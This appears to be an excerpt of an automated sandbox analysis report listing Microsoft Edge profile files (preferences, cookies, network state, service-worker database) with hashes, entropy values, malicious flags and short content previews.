Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4a4d1de0-4173-49a4-8765-c296c3a43ded.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4e7e05b2-a745-4220-a6c2-2fa08d8e00dc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\550bc4fd-04ae-4277-8e52-44a719538396.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	modified
Size (bytes):	20480
Entropy (8bit):	2.768177583173923
Encrypted:	false
SSDEEP:	192:tTdDHuNPVQizkWSISiH8Ic+3o0/04Xcf0L/ZJVb:VdDHsmchSIHH8I5XI0LhJVb
MD5:	466C3BA1B55BD27A930589FE316F8A6B
SHA1:	78D6360CD2E72C1D396CCB6C9C82B11777FC9E20
SHA-256:	FAAF0C94B1999D6E32A5CF75257032AFE8061F9DB4FB7F787BD8FA839F3EBDE6
SHA-512:	0743992B9ECAAF2F12E99B5F01BCB1D4A30F33B0C6E10F41CBDC2EE41BB6E5C98A555F0FF6AAF127651574B4BCF7E9A2BBD87D41D1D17D8FACF315E7B8E99F03
Malicious:	true
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.3781773845887941
Encrypted:	false
SSDEEP:	96:JkIEumQv8m1ccnvS6sSbj+lGFh5pXEm/aw1a:+IEumQv8m1ccnvS6sSb6KJEpr
MD5:	D4AA07834B6F063EE14A52B88C007367
SHA1:	5FA743ECE1A50966614AC0A61D3F146B4FFC9173
SHA-256:	6D5FF04D12DCD3AF16D4D9B016CC9AEF71EA8E61330828FC4B5D3C62B744505C
SHA-512:	B3FADEE9E56ECCE205EAC897F3F7C5A359D0AFD6F764E654F3FF6ECE59FB1D0676CD51D6196F93630DC7C94017A7866722CD3C385247C03F64B1A5FA62525966
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3b0e2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3bb42.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3bfd6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF485a7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\d46dec3a-c66c-4617-aba4-06e54c188a59.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f13e019e-b27e-47c5-9f46-5d8be6d06699.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13230
Entropy (8bit):	5.277515082134239
Encrypted:	false
SSDEEP:	192:st4J99QTryDigabatSuyp9sfTjRaFvrEV951kEPa8ebV+FMHQAoUNPu4YJ:st4PGKSu49srdCDgcbG4QWM
MD5:	57B17AA67B3006167FEDC5AA3B952CFF
SHA1:	BB2B55EC73EB6A3055091D4830043B8A25404EC4
SHA-256:	39D7852B3F424EBBE6347991EC8BD953CD601CC39CBAF6FC4887D509CB9D7767
SHA-512:	B5D73E64F14E09A4F77414203A56CE45A459029D4CD8B7B64F492F7AF0E6004009C88D8DBDCD70CEE382C4782E8A57CE3EDD4941AF7A683698D38EBDF94208CC
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376374885889006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3e85d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13230
Entropy (8bit):	5.277515082134239
Encrypted:	false
SSDEEP:	192:st4J99QTryDigabatSuyp9sfTjRaFvrEV951kEPa8ebV+FMHQAoUNPu4YJ:st4PGKSu49srdCDgcbG4QWM
MD5:	57B17AA67B3006167FEDC5AA3B952CFF
SHA1:	BB2B55EC73EB6A3055091D4830043B8A25404EC4
SHA-256:	39D7852B3F424EBBE6347991EC8BD953CD601CC39CBAF6FC4887D509CB9D7767
SHA-512:	B5D73E64F14E09A4F77414203A56CE45A459029D4CD8B7B64F492F7AF0E6004009C88D8DBDCD70CEE382C4782E8A57CE3EDD4941AF7A683698D38EBDF94208CC
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376374885889006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4366e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13230
Entropy (8bit):	5.277515082134239
Encrypted:	false
SSDEEP:	192:st4J99QTryDigabatSuyp9sfTjRaFvrEV951kEPa8ebV+FMHQAoUNPu4YJ:st4PGKSu49srdCDgcbG4QWM
MD5:	57B17AA67B3006167FEDC5AA3B952CFF
SHA1:	BB2B55EC73EB6A3055091D4830043B8A25404EC4
SHA-256:	39D7852B3F424EBBE6347991EC8BD953CD601CC39CBAF6FC4887D509CB9D7767
SHA-512:	B5D73E64F14E09A4F77414203A56CE45A459029D4CD8B7B64F492F7AF0E6004009C88D8DBDCD70CEE382C4782E8A57CE3EDD4941AF7A683698D38EBDF94208CC
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376374885889006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561681110283074
Encrypted:	false
SSDEEP:	768:4EsFt2Wfr7pLGLpfRW5wRtf4dC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPviFmlIYF:4vD2A9cpfRWaRtfoCu1jaeymrxdMrTTe
MD5:	CF195F7C71E201724B76440007089113
SHA1:	76CDCBB01565459E2BA538C1F9CDE65CF5286E46
SHA-256:	7718623EF3BA56224DB33F975B54310138C1D27C8590EDA3FC3649A23D28E894
SHA-512:	C59191F83B9201DFC2F903BADA2D2E50BCB4EDF773A223FB8947ADE97846A52234B6118F9C9A5E50D414B91AF218AC02DDF1C7C6796A201D7CA5006CE434E16B
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376374885268394","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376374885268394","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF40e16.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561681110283074
Encrypted:	false
SSDEEP:	768:4EsFt2Wfr7pLGLpfRW5wRtf4dC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPviFmlIYF:4vD2A9cpfRWaRtfoCu1jaeymrxdMrTTe
MD5:	CF195F7C71E201724B76440007089113
SHA1:	76CDCBB01565459E2BA538C1F9CDE65CF5286E46
SHA-256:	7718623EF3BA56224DB33F975B54310138C1D27C8590EDA3FC3649A23D28E894
SHA-512:	C59191F83B9201DFC2F903BADA2D2E50BCB4EDF773A223FB8947ADE97846A52234B6118F9C9A5E50D414B91AF218AC02DDF1C7C6796A201D7CA5006CE434E16B
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376374885268394","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376374885268394","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.836178078098237
Encrypted:	false
SSDEEP:	48:F2em2trdDRfBZXrd6NgtCMrdDcBvrdPBI:F1m2txDRzx6NgttxDYxK
MD5:	A60D1F041A6FC37285D6D899ADC934E7
SHA1:	94A54EF2D89C8300D1BAC6E9BCA3F82176249A88
SHA-256:	EF0A9C4725FD7CD95AE202189C7700F677B81E8EA7DF2DCA75A10834C668978F
SHA-512:	744E6D4D698D9FC7D3F4E747CAEB533E3B90EDEABEA9D92644268E26F7C3E100E66A33F0BE0FFCC4950B2365AC42B1B8ED647918056AD57EB51E3B53936D1BF3
Malicious:	false
Reputation:	unknown
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2....m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.10603086900664
Encrypted:	false
SSDEEP:	6:HUT0X1N723oH+TcwtE/a252KLlVUT0cIq2PN723oH+TcwtE/a2ZIFUv:3naYeb8xLflvVaYeb8J2FUv
MD5:	D58AB0A5DD73F3B19F4560C259F39B2C
SHA1:	12AAADCA71BBF4696A4FFFBA821A0863DFC30A99
SHA-256:	BAC8CA37290F261E100D54D5C9D944FE64EA5D5F6D305E95BF3E46AD7D0C6459
SHA-512:	6EC7F894ADE9BE386FA18B342340C7AA7163FA61C68E3B060AAD4FB5835ADAF7F9DE3F678EFF1C58022ECCA37FE0BE92F2310DB65223EF1F9F63D0D00A293FAC
Malicious:	false
Reputation:	unknown
